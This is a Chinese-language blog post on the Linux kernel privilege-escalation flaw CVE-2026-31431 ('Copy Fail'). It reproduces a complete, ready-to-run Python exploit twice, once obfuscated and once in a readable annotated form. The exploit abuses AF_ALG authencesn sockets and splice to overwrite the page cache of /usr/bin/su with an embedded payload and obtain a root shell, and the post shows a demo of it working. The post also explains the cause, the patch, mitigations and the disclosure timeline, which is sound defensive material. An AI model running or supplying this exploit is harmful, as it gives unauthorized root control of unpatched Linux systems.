太炸裂了!!!
4 月 30 日下班后刷短视频,发现了这个超级劲爆的安全漏洞:CVE-2026-31431,又名 Copy Fail。
它只需 10 行 Python 代码,就能完成 Linux 本地权限提升,直接获得 root 权限。而且这个漏洞从 2017 年就存在,几乎影响所有主流 Linux 发行版。

效果演示
在非 root 用户下运行 copy_fail_exp.py,即可成功获得 root 权限。
就是这么直接。
wgxls@server:~$ whoami
wgxls
wgxls@server:~$ python3 copy_fail_exp.py
# whoami
root
脚本内容
脚本的 GitHub 链接:https://github.com/theori-io/copy-fail-CVE-2026-31431
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
这个脚本故意写的非常“简洁”,让我借助 AI 把它还原成更易读的版本:
#!/usr/bin/env python3
import os
import socket
import zlib
def hex_to_bytes(value):
return bytes.fromhex(value)
def write_pagecache_chunk(target_fd, offset, chunk):
alg_socket = socket.socket(38, socket.SOCK_SEQPACKET, 0)
alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
ALG_SET_KEY = 279
alg_socket.setsockopt(ALG_SET_KEY, 1, hex_to_bytes("0800010000000010" + "0" * 64))
alg_socket.setsockopt(ALG_SET_KEY, 5, None, 4)
conn, _ = alg_socket.accept()
auth_tag = hex_to_bytes("00")
aad = b"A" * 4 + chunk
cmsg = [
(ALG_SET_KEY, 3, auth_tag * 4),
(ALG_SET_KEY, 2, b"\x10" + auth_tag * 19),
(ALG_SET_KEY, 4, b"\x08" + auth_tag * 3),
]
conn.sendmsg([aad], cmsg, 32768)
read_fd, write_fd = os.pipe()
splice = os.splice
splice(target_fd, write_fd, offset, offset_src=0)
splice(read_fd, conn.fileno(), offset)
try:
conn.recv(8 + len(chunk))
except Exception:
pass
def main():
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
payload = zlib.decompress(hex_to_bytes(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
offset = 0
while offset < len(payload):
write_pagecache_chunk(target_fd, offset, payload[offset:offset + 4])
offset += 4
os.system("su")
if __name__ == "__main__":
main()
脚本解析
我目前还不能完全把握这个漏洞的所有细节,但从网上的资料看,2017 年的这个 commit 72548b093ee3 引入了一个 in-place 优化。这个优化使得当内核收到一个包含页缓存页的 scatterlist 时,会直接把该页缓存页作为输出 scatterlist 的一部分进行写入,结果就是页缓存被污染。
在理解这个脚本之前,我们先把几个关键的 Linux 系统调用理清楚。
socket(AF_ALG, SOCK_SEQPACKET, 0):创建 AF_ALG 加密套接字。AF_ALG 是 Linux 内核提供的特殊地址族,用于让应用程序访问内核加密算法。SOCK_SEQPACKET 表示面向连接的消息套接字,0 表示默认协议。bind(("aead", "authencesn(hmac(sha256),cbc(aes))")):绑定到 authencesn AEAD 模板。“aead” 表示使用 AEAD 模式,“authencesn(hmac(sha256),cbc(aes))” 指定了 HMAC-SHA256 认证和 CBC-AES 加密,并启用了扩展序列号(ESN)。setsockopt():配置加密密钥和相关参数。accept():接受连接,获取一个可用于收发数据的套接字。sendmsg():发送消息和控制消息,触发加密运算。os.pipe():创建管道,返回读/写两个文件描述符。后续通过写端写入,通过读端读取。os.splice():在文件描述符间进行零拷贝传输。零拷贝意味着数据不经过用户空间缓冲区,而是在内核内部直接转发。这里的offset_src=0表示从源文件开头开始读取。recv():接收数据,同时触发解密/处理操作。
了解了这些调用后,脚本的核心逻辑可以这样理解:
- 脚本先创建 AF_ALG 套接字,绑定到 authencesn AEAD 模板,并设置密钥。
- 接着 accept 连接,准备发送加密请求。
write_pagecache_chunk()是关键部分,它构造一个加密请求,AAD 中包含攻击者可控的 chunk。调用sendmsg()后,内核在 authencesn 解密过程中误触发写操作,把 chunk 写入页缓存。- 通过
os.pipe()和os.splice(),脚本把目标文件/usr/bin/su的页缓存页引入 AF_ALG 输入,使 authencesn 的写入操作可以直接改写该页缓存。 - 最后调用
os.system("su"),内核从页缓存加载/usr/bin/su,因为缓存已经被污染,所以执行的是被篡改后的内容,最终获得 root shell。
修复与缓解措施
已提交的修复补丁 a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 通过撤销 algif_aead.c 的 in-place 优化回退到 out-of-place 操作。这意味着:
req->src指向 TX SGL(可能包含 splice 带来的页缓存页)req->dst指向 RX SGL(用户 recvmsg 缓冲区)- 不再将页缓存页链接到可写目标 scatterlist
这彻底切断了 authencesn scratch write 与页缓存写入之间的桥梁。
临时缓解方式:
- 更新内核补丁并使用发行版提供的安全更新。
- 通过 seccomp 禁止 AF_ALG 套接字创建。
- 禁用
algif_aead模块:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
实测,禁用了 algif_aead 后,攻击脚本无法成功执行。
wgxls@server:~$ python3 copy_fail_exp.py
Traceback (most recent call last):
File "/home/wgxls/copy_fail_exp.py", line 9, in <module>
while i<len(e):c(f,i,e[i:i+4]);i+=4
^^^^^^^^^^^^^^^
File "/home/wgxls/copy_fail_exp.py", line 5, in c
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory
协调披露时间线
| 日期 | 事件 |
|---|---|
| 2026-03-23 | 向 Linux 内核安全团队报告漏洞 |
| 2026-03-24 | 收到初步确认 |
| 2026-03-25 | 补丁提议与审查 |
| 2026-04-01 | 补丁合并到主线内核 |
| 2026-04-22 | 分配 CVE-2026-31431 |
| 2026-04-29 | 公开披露Blog |
| 2026-04-30 | 互联网广泛传播 |


